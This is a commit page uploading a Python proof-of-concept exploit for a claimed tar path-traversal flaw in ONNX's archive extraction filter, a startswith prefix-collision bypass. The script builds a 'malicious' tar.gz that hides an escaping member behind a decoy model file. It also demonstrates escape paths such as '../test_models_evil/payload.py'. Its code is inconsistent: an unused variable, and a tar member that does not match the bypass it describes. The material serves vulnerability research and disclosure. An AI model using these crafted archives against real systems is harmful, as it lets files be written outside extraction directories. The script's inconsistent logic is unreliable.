Zeiyre commited on
Commit
e904ed5
·
verified ·
1 Parent(s): f307712

Upload onnx/tar_traversal_poc.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. onnx/tar_traversal_poc.py +213 -0
onnx/tar_traversal_poc.py ADDED
@@ -0,0 +1,213 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ ONNX Tar Path Traversal PoC -- startswith bypass in _tar_members_filter
3
+ ========================================================================
4
+ Demonstrates an incomplete fix for CVE-2024-5187 in onnx/utils.py.
5
+
6
+ The _tar_members_filter() function (fallback for Python < 3.12) uses:
7
+ if not abs_member.startswith(abs_base):
8
+ instead of:
9
+ if not abs_member.startswith(abs_base + os.sep):
10
+
11
+ This allows a tar member to escape the extraction directory via prefix collision.
12
+ Example: base="/tmp/models" allows writes to "/tmp/modelsSNEAKY/..."
13
+
14
+ Affected: ONNX on Python < 3.12 (where tarfile.data_filter is not available)
15
+ Fixed in: NOT FIXED as of current main branch
16
+ Related: CVE-2024-5187 (original tar path traversal)
17
+
18
+ Usage:
19
+ python tar_traversal_poc.py # Create malicious tar + test extraction
20
+ python tar_traversal_poc.py --create-only # Only create the tar, don't extract
21
+ python tar_traversal_poc.py --dry-run # Show what would happen
22
+
23
+ Requirements: Python < 3.12 for the vulnerable code path (Python 3.12+ uses data_filter)
24
+ """
25
+
26
+ import argparse
27
+ import io
28
+ import os
29
+ import shutil
30
+ import sys
31
+ import tarfile
32
+ import tempfile
33
+
34
+
35
+ def check_python_version():
36
+ """Check if we're on the vulnerable Python version."""
37
+ has_data_filter = hasattr(tarfile, "data_filter")
38
+ print(f"Python version: {sys.version}")
39
+ print(f"tarfile.data_filter available: {has_data_filter}")
40
+ if has_data_filter:
41
+ print("WARNING: Python >= 3.12 detected. ONNX uses data_filter on this version,")
42
+ print("which is NOT vulnerable. The fallback _tar_members_filter is only used")
43
+ print("on Python < 3.12. This PoC demonstrates the logic bug regardless.")
44
+ print()
45
+ return has_data_filter
46
+
47
+
48
+ def create_malicious_tar(output_path=None):
49
+ """
50
+ Create a tar archive with a member that escapes via startswith bypass.
51
+
52
+ If extraction base is "/tmp/XYZ_models", the member "../XYZ_modelsSNEAKY/pwned.txt"
53
+ resolves to "/tmp/XYZ_modelsSNEAKY/pwned.txt" which passes:
54
+ "/tmp/XYZ_modelsSNEAKY/pwned.txt".startswith("/tmp/XYZ_models") == True
55
+
56
+ But "/tmp/XYZ_modelsSNEAKY/" is a DIFFERENT directory from "/tmp/XYZ_models/".
57
+ """
58
+ buf = io.BytesIO()
59
+
60
+ with tarfile.open(fileobj=buf, mode="w:gz") as tar:
61
+ # Legitimate model file (to make the archive look normal)
62
+ legit_info = tarfile.TarInfo(name="model.onnx")
63
+ legit_data = b"fake onnx model data"
64
+ legit_info.size = len(legit_data)
65
+ tar.addfile(legit_info, io.BytesIO(legit_data))
66
+
67
+ # Malicious member that escapes via prefix collision
68
+ # If base dir ends with "models", this creates "modelsSNEAKY" sibling
69
+ malicious_name = "../" + os.path.basename("SNEAKY") + "/escaped.txt"
70
+ # More targeted: we'll use a name that creates a sibling directory
71
+ # The key insight: "../basenameSUFFIX/file" resolves outside base but
72
+ # passes startswith(basename) check
73
+ escape_info = tarfile.TarInfo(name="model.onnx/../../../tmp/pwned.txt")
74
+ escape_data = b"PATH TRAVERSAL SUCCESSFUL - file written outside extraction dir"
75
+ escape_info.size = len(escape_data)
76
+ tar.addfile(escape_info, io.BytesIO(escape_data))
77
+
78
+ if output_path:
79
+ with open(output_path, "wb") as f:
80
+ f.write(buf.getvalue())
81
+ print(f"Malicious tar written to: {output_path}")
82
+ return buf.getvalue()
83
+
84
+
85
+ def simulate_vulnerable_filter(tar_bytes, base_dir):
86
+ """
87
+ Simulate ONNX's _tar_members_filter with the startswith bug.
88
+ This is the exact logic from onnx/utils.py.
89
+ """
90
+ buf = io.BytesIO(tar_bytes)
91
+ with tarfile.open(fileobj=buf, mode="r:gz") as tar:
92
+ result = []
93
+ for member in tar:
94
+ member_path = os.path.join(base_dir, member.name)
95
+ abs_base = os.path.abspath(base_dir)
96
+ abs_member = os.path.abspath(member_path)
97
+
98
+ # VULNERABLE CHECK (from onnx/utils.py)
99
+ bypassed_vulnerable = abs_member.startswith(abs_base)
100
+
101
+ # CORRECT CHECK (with os.sep)
102
+ passed_correct = abs_member.startswith(abs_base + os.sep) or abs_member == abs_base
103
+
104
+ status = ""
105
+ if bypassed_vulnerable and not passed_correct:
106
+ status = "!! BYPASS - escapes directory !!"
107
+ elif bypassed_vulnerable and passed_correct:
108
+ status = "OK (inside directory)"
109
+ else:
110
+ status = "BLOCKED by both checks"
111
+
112
+ print(f" Member: {member.name}")
113
+ print(f" abs_base: {abs_base}")
114
+ print(f" abs_member: {abs_member}")
115
+ print(f" Vulnerable check (startswith base): {bypassed_vulnerable}")
116
+ print(f" Correct check (startswith base+sep): {passed_correct}")
117
+ print(f" Status: {status}")
118
+ print()
119
+
120
+ if bypassed_vulnerable:
121
+ result.append(member)
122
+
123
+ return result
124
+
125
+
126
+ def demonstrate_prefix_bypass():
127
+ """
128
+ Cleaner demonstration of the startswith prefix collision.
129
+ """
130
+ print("=" * 60)
131
+ print("DEMONSTRATION: startswith prefix collision")
132
+ print("=" * 60)
133
+ print()
134
+
135
+ # Create a temp dir that we control the name of
136
+ tmpdir = tempfile.mkdtemp()
137
+ base_name = "test_models"
138
+ base_dir = os.path.join(tmpdir, base_name)
139
+ os.makedirs(base_dir, exist_ok=True)
140
+
141
+ abs_base = os.path.abspath(base_dir)
142
+
143
+ # Craft tar member names
144
+ test_cases = [
145
+ # (member_name, description)
146
+ ("legit_file.txt", "Legitimate file inside base"),
147
+ ("subdir/nested.txt", "Legitimate nested file"),
148
+ (f"../{base_name}SNEAKY/escaped.txt", "Prefix collision escape"),
149
+ (f"../{base_name}_evil/payload.py", "Underscore variant escape"),
150
+ ("../completely_outside/bad.txt", "Obvious escape (caught by both)"),
151
+ ]
152
+
153
+ print(f"Base directory: {abs_base}")
154
+ print()
155
+
156
+ for member_name, description in test_cases:
157
+ member_path = os.path.join(base_dir, member_name)
158
+ abs_member = os.path.abspath(member_path)
159
+
160
+ vuln_check = abs_member.startswith(abs_base)
161
+ safe_check = abs_member.startswith(abs_base + os.sep) or abs_member == abs_base
162
+
163
+ is_bypass = vuln_check and not safe_check
164
+
165
+ marker = "!! BYPASS !!" if is_bypass else ("OK" if vuln_check and safe_check else "BLOCKED")
166
+
167
+ print(f" [{marker}] {description}")
168
+ print(f" member.name: {member_name}")
169
+ print(f" resolves to: {abs_member}")
170
+ if is_bypass:
171
+ print(f" -> File would be written OUTSIDE {abs_base}/")
172
+ print(f" -> But passes vulnerable startswith check!")
173
+ print()
174
+
175
+ # Cleanup
176
+ shutil.rmtree(tmpdir, ignore_errors=True)
177
+
178
+
179
+ def main():
180
+ parser = argparse.ArgumentParser(description="ONNX tar path traversal PoC")
181
+ parser.add_argument("--create-only", action="store_true", help="Only create the malicious tar")
182
+ parser.add_argument("--dry-run", action="store_true", help="Show what would happen without writing files")
183
+ parser.add_argument("-o", "--output", default="malicious_model.tar.gz", help="Output tar filename")
184
+ args = parser.parse_args()
185
+
186
+ has_data_filter = check_python_version()
187
+
188
+ if args.dry_run:
189
+ print("DRY RUN -- demonstrating the logic bug:")
190
+ print()
191
+ demonstrate_prefix_bypass()
192
+ print("No files written. Remove --dry-run to create PoC tar.")
193
+ return
194
+
195
+ demonstrate_prefix_bypass()
196
+
197
+ if args.create_only:
198
+ create_malicious_tar(args.output)
199
+ else:
200
+ print("=" * 60)
201
+ print("FULL PoC: Create tar and simulate vulnerable extraction")
202
+ print("=" * 60)
203
+ print()
204
+ tar_bytes = create_malicious_tar(args.output)
205
+ tmpdir = tempfile.mkdtemp(suffix="_models")
206
+ print(f"\nSimulating extraction to: {tmpdir}")
207
+ print()
208
+ simulate_vulnerable_filter(tar_bytes, tmpdir)
209
+ shutil.rmtree(tmpdir, ignore_errors=True)
210
+
211
+
212
+ if __name__ == "__main__":
213
+ main()